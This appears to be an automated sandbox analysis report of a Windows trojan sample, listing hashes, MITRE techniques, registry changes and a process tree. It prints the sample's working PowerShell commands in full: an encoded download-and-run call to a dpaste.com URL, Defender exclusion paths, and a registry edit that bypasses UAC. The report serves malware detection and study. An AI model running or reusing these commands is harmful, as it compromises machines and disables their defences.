0f8ca4a2c42ec07ab855d0cda2a301cd32d0e815535581f5644439f446395d08

Analysis

max time kernel
150s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/07/2026, 14:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
CREATIVEEAX.exe
Size 730KB
Sample260701-rmcdvafz9l
SHA256 0f8ca4a2c42ec07ab855d0cda2a301cd32d0e815535581f5644439f446395d08
MD5 391371bfc6c04b88dad8d576f4dbfc2b
SHA1 ed3a8ed6b6d26278c0889df65d7bace8fc350d42
SHA512 65cf8efbd67c6791ee537ae335e4ef86d330c110c22bcd5aa33220fb73a5fe8bd2d5d9ccbe549cb5e0d6232f19950c39ba9a8b0361f8673056a09a7212454386
SSDEEP 12288:glAO94KKN24h/yaQMdYkJrQVFZYEgeP+/Hr2WLulsPzuKC+G+GABbmS0K:O4KPbaQMdYurQ2G2vlzuKCKZU
TLSH
T1E5F423FF17AEC639C5A6C2F28815574BBBCC1F53AE0E406A48919AA5FF371814863DD0
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://dpaste.com/7HUE6PUXX.txt

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	powershell.exe

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
27	5000	powershell.exe
86	5000	powershell.exe
134	5000	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5000	powershell.exe
1860	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2408	CREATIVE EAX.exe
3748	ازحف فضي وهمي.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2688_1495997107\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2688_2125717926\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2688_2125717926\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2688_272672999\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2688_272672999\nav_config.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CREATIVE EAX.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2332	msedge.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	msedge.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	msedge.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\UpperFilters	msedge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	msedge.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	msedge.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\UpperFilters	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134273891084363000"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1991999443-3181470666-3272020885-1000\{4407084C-B1B9-49D0-A247-50FEA7A70A61}	msedge.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
5000	powershell.exe
5000	powershell.exe
1860	powershell.exe
1860	powershell.exe
1860	powershell.exe
4088	msedge.exe
4088	msedge.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
816	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs

pid	Process
2688	msedge.exe
2688	msedge.exe
2688	msedge.exe
2688	msedge.exe
2688	msedge.exe
2688	msedge.exe
2688	msedge.exe
2688	msedge.exe
2688	msedge.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	5000	powershell.exe
Token: SeDebugPrivilege	1860	powershell.exe
Token: SeIncreaseQuotaPrivilege	1860	powershell.exe
Token: SeSecurityPrivilege	1860	powershell.exe
Token: SeTakeOwnershipPrivilege	1860	powershell.exe
Token: SeLoadDriverPrivilege	1860	powershell.exe
Token: SeSystemProfilePrivilege	1860	powershell.exe
Token: SeSystemtimePrivilege	1860	powershell.exe
Token: SeProfSingleProcessPrivilege	1860	powershell.exe
Token: SeIncBasePriorityPrivilege	1860	powershell.exe
Token: SeCreatePagefilePrivilege	1860	powershell.exe
Token: SeBackupPrivilege	1860	powershell.exe
Token: SeRestorePrivilege	1860	powershell.exe
Token: SeShutdownPrivilege	1860	powershell.exe
Token: SeDebugPrivilege	1860	powershell.exe
Token: SeSystemEnvironmentPrivilege	1860	powershell.exe
Token: SeRemoteShutdownPrivilege	1860	powershell.exe
Token: SeUndockPrivilege	1860	powershell.exe
Token: SeManageVolumePrivilege	1860	powershell.exe
Token: 33	1860	powershell.exe
Token: 34	1860	powershell.exe
Token: 35	1860	powershell.exe
Token: 36	1860	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2688	msedge.exe

Suspicious use of WriteProcessMemory 59 IoCs

description	pid	Process	procid_target
PID 4272 wrote to memory of 2408	4272	CREATIVEEAX.exe	88
PID 4272 wrote to memory of 3748	4272	CREATIVEEAX.exe	89
PID 3748 wrote to memory of 5000	3748	ازحف فضي وهمي.exe	90
PID 2408 wrote to memory of 2688	2408	CREATIVE EAX.exe	92
PID 2688 wrote to memory of 948	2688	msedge.exe	93
PID 2688 wrote to memory of 2332	2688	msedge.exe	94
PID 2688 wrote to memory of 2192	2688	msedge.exe	95
PID 2688 wrote to memory of 2192	2688	msedge.exe	95
PID 2688 wrote to memory of 2192	2688	msedge.exe	95
PID 2688 wrote to memory of 3208	2688	msedge.exe	96
PID 2688 wrote to memory of 3208	2688	msedge.exe	96
PID 2688 wrote to memory of 5468	2688	msedge.exe	97
PID 2688 wrote to memory of 5468	2688	msedge.exe	97
PID 2688 wrote to memory of 2112	2688	msedge.exe	98
PID 2688 wrote to memory of 5468	2688	msedge.exe	97
PID 2688 wrote to memory of 2112	2688	msedge.exe	98
PID 2688 wrote to memory of 2112	2688	msedge.exe	98
PID 2688 wrote to memory of 5888	2688	msedge.exe	100
PID 2688 wrote to memory of 4260	2688	msedge.exe	101
PID 2688 wrote to memory of 5888	2688	msedge.exe	100
PID 2688 wrote to memory of 5888	2688	msedge.exe	100
PID 2688 wrote to memory of 4260	2688	msedge.exe	101
PID 2688 wrote to memory of 4260	2688	msedge.exe	101
PID 2688 wrote to memory of 1656	2688	msedge.exe	102
PID 2688 wrote to memory of 1656	2688	msedge.exe	102
PID 2688 wrote to memory of 1656	2688	msedge.exe	102
PID 2688 wrote to memory of 1460	2688	msedge.exe	103
PID 2688 wrote to memory of 1460	2688	msedge.exe	103
PID 5000 wrote to memory of 1860	5000	powershell.exe	105
PID 2688 wrote to memory of 3768	2688	msedge.exe	108
PID 2688 wrote to memory of 3384	2688	msedge.exe	109
PID 2688 wrote to memory of 1884	2688	msedge.exe	110
PID 2688 wrote to memory of 5016	2688	msedge.exe	111
PID 2688 wrote to memory of 3732	2688	msedge.exe	112
PID 2688 wrote to memory of 3768	2688	msedge.exe	108
PID 2688 wrote to memory of 3768	2688	msedge.exe	108
PID 2688 wrote to memory of 3384	2688	msedge.exe	109
PID 2688 wrote to memory of 1884	2688	msedge.exe	110
PID 2688 wrote to memory of 5016	2688	msedge.exe	111
PID 2688 wrote to memory of 5016	2688	msedge.exe	111
PID 2688 wrote to memory of 3732	2688	msedge.exe	112
PID 2688 wrote to memory of 3732	2688	msedge.exe	112
PID 2688 wrote to memory of 256	2688	msedge.exe	114
PID 2688 wrote to memory of 4092	2688	msedge.exe	117
PID 2688 wrote to memory of 4092	2688	msedge.exe	117
PID 2688 wrote to memory of 5500	2688	msedge.exe	118
PID 2688 wrote to memory of 5500	2688	msedge.exe	118
PID 2688 wrote to memory of 3156	2688	msedge.exe	120
PID 2688 wrote to memory of 992	2688	msedge.exe	121
PID 2688 wrote to memory of 5812	2688	msedge.exe	122
PID 2688 wrote to memory of 824	2688	msedge.exe	123
PID 2688 wrote to memory of 824	2688	msedge.exe	123
PID 2688 wrote to memory of 1928	2688	msedge.exe	127
PID 2688 wrote to memory of 1928	2688	msedge.exe	127
PID 2688 wrote to memory of 3240	2688	msedge.exe	128
PID 2688 wrote to memory of 3240	2688	msedge.exe	128
PID 2688 wrote to memory of 4088	2688	msedge.exe	129
PID 2688 wrote to memory of 5172	2688	msedge.exe	130
PID 2688 wrote to memory of 5172	2688	msedge.exe	130

C:\Users\Admin\AppData\Local\Temp\CREATIVEEAX.exe
"C:\Users\Admin\AppData\Local\Temp\CREATIVEEAX.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4272
- C:\Users\Admin\AppData\Roaming\CREATIVE EAX.exe
  "C:\Users\Admin\AppData\Roaming\CREATIVE EAX.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2408
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://guns.lol/xjy
    3⤵
    - Drops file in Windows directory
    - Checks SCSI registry key(s)
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:2688
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x31c,0x7ffc65eec188,0x7ffc65eec194,0x7ffc65eec1a0
      4⤵
      PID:948
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1848,i,7886916457432763865,8297377626202106866,524288 --field-trial-handle=2644,i,6722490835818634465,17632130848763503726,262144 --variations-seed-version --mojo-platform-channel-handle=2756 /prefetch:11
      4⤵
      System Time Discovery
      PID:2332
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1620,i,16264702595646643363,2998652211106598041,262144 --field-trial-handle=2644,i,6722490835818634465,17632130848763503726,262144 --variations-seed-version --mojo-platform-channel-handle=2640 /prefetch:2
      4⤵
      PID:2192
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2152,i,10198957282989933244,5854871454460479570,524288 --field-trial-handle=2644,i,6722490835818634465,17632130848763503726,262144 --variations-seed-version --mojo-platform-channel-handle=2796 /prefetch:13
      4⤵
      PID:3208
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3516,i,7932829963047117228,7402648997436839366,2097152 --field-trial-handle=2644,i,6722490835818634465,17632130848763503726,262144 --variations-seed-version --mojo-platform-channel-handle=3564 /prefetch:1
      4⤵
      PID:5468
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3512,i,13415928426079028738,16456020962881141467,2097152 --field-trial-handle=2644,i,6722490835818634465,17632130848763503726,262144 --variations-seed-version --mojo-platform-channel-handle=3560 /prefetch:1
      4⤵
      PID:2112
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4208,i,9192551422256020730,8390394092294054596,2097152 --field-trial-handle=2644,i,6722490835818634465,17632130848763503726,262144 --variations-seed-version --mojo-platform-channel-handle=4824 /prefetch:1
      4⤵
      PID:5888
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4220,i,14468223498033407662,2944305468888533716,2097152 --field-trial-handle=2644,i,6722490835818634465,17632130848763503726,262144 --variations-seed-version --mojo-platform-channel-handle=4828 /prefetch:9
      4⤵
      PID:4260
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=3812,i,18239889202347276045,966097651888358584,2097152 --field-trial-handle=2644,i,6722490835818634465,17632130848763503726,262144 --variations-seed-version --mojo-platform-channel-handle=3768 /prefetch:1
      4⤵
      PID:1656
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5244,i,10371911558413697777,12876014450073869737,524288 --field-trial-handle=2644,i,6722490835818634465,17632130848763503726,262144 --variations-seed-version --mojo-platform-channel-handle=5308 /prefetch:14
      4⤵
      PID:1460
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=3616,i,9795079692983908418,16667665032289791063,2097152 --field-trial-handle=2644,i,6722490835818634465,17632130848763503726,262144 --variations-seed-version --mojo-platform-channel-handle=3564 /prefetch:1
      4⤵
      PID:3768
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3516,i,3855096907465297641,2590729000713139874,524288 --field-trial-handle=2644,i,6722490835818634465,17632130848763503726,262144 --variations-seed-version --mojo-platform-channel-handle=5132 /prefetch:14
      4⤵
      PID:3384
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5128,i,9045454381588029860,10260242133706758511,524288 --field-trial-handle=2644,i,6722490835818634465,17632130848763503726,262144 --variations-seed-version --mojo-platform-channel-handle=4868 /prefetch:14
      4⤵
      PID:1884
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=5232,i,11921877222362281855,17348275622786605173,2097152 --field-trial-handle=2644,i,6722490835818634465,17632130848763503726,262144 --variations-seed-version --mojo-platform-channel-handle=4964 /prefetch:1
      4⤵
      PID:5016
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=5804,i,2060506699102737087,8208082375898561843,2097152 --field-trial-handle=2644,i,6722490835818634465,17632130848763503726,262144 --variations-seed-version --mojo-platform-channel-handle=4968 /prefetch:1
      4⤵
      PID:3732
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3620,i,2279223482251659254,13054147928567851806,524288 --field-trial-handle=2644,i,6722490835818634465,17632130848763503726,262144 --variations-seed-version --mojo-platform-channel-handle=3736 /prefetch:14
      4⤵
      PID:5516
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3620,i,2279223482251659254,13054147928567851806,524288 --field-trial-handle=2644,i,6722490835818634465,17632130848763503726,262144 --variations-seed-version --mojo-platform-channel-handle=3736 /prefetch:14
      4⤵
      PID:256
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6632,i,1209501853111180194,26225186178357006,524288 --field-trial-handle=2644,i,6722490835818634465,17632130848763503726,262144 --variations-seed-version --mojo-platform-channel-handle=5756 /prefetch:14
      4⤵
      PID:4092
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6644,i,2615406499563645115,7975559319620952455,524288 --field-trial-handle=2644,i,6722490835818634465,17632130848763503726,262144 --variations-seed-version --mojo-platform-channel-handle=6964 /prefetch:14
      4⤵
      PID:5500
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6812,i,14225425252319812401,11356137451778505714,524288 --field-trial-handle=2644,i,6722490835818634465,17632130848763503726,262144 --variations-seed-version --mojo-platform-channel-handle=5796 /prefetch:14
      4⤵
      PID:3156
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6368,i,13928464897835984955,8051019662331872107,524288 --field-trial-handle=2644,i,6722490835818634465,17632130848763503726,262144 --variations-seed-version --mojo-platform-channel-handle=6824 /prefetch:14
      4⤵
      PID:992
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3744,i,12357225127172588165,125902831538465408,524288 --field-trial-handle=2644,i,6722490835818634465,17632130848763503726,262144 --variations-seed-version --mojo-platform-channel-handle=6764 /prefetch:14
      4⤵
      PID:5812
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5472,i,10556067156635371372,4962444902522437142,524288 --field-trial-handle=2644,i,6722490835818634465,17632130848763503726,262144 --variations-seed-version --mojo-platform-channel-handle=5488 /prefetch:14
      4⤵
      PID:824
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6524,i,2989412392130076825,11359309084134482033,524288 --field-trial-handle=2644,i,6722490835818634465,17632130848763503726,262144 --variations-seed-version --mojo-platform-channel-handle=7088 /prefetch:14
      4⤵
      PID:1928
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=916,i,205601001687939697,9878151293724972610,524288 --field-trial-handle=2644,i,6722490835818634465,17632130848763503726,262144 --variations-seed-version --mojo-platform-channel-handle=6524 /prefetch:14
      4⤵
      PID:3240
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5468,i,11618424265493302296,15264644071163213675,262144 --field-trial-handle=2644,i,6722490835818634465,17632130848763503726,262144 --variations-seed-version --mojo-platform-channel-handle=6148 /prefetch:10
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4088
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3736,i,3438081135929713932,1817548816812458932,524288 --field-trial-handle=2644,i,6722490835818634465,17632130848763503726,262144 --variations-seed-version --mojo-platform-channel-handle=4984 /prefetch:14
      4⤵
      PID:5172
- C:\Users\Admin\AppData\Roaming\ازحف فضي وهمي.exe
  "C:\Users\Admin\AppData\Roaming\ازحف فضي وهمي.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3748
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoP -NonI -W Hidden -EP Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AZABwAGEAcwB0AGUALgBjAG8AbQAvADcASABVAEUANgBQAFUAWABYAC4AdAB4AHQAJwApAA==
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5000
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath $Env:ProgramData, $Env:Temp, $Env:HomeDrive; Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "ConsentPromptBehaviorAdmin" -Value 0 -Type DWord
      4⤵
      UAC bypass
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1860

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2344
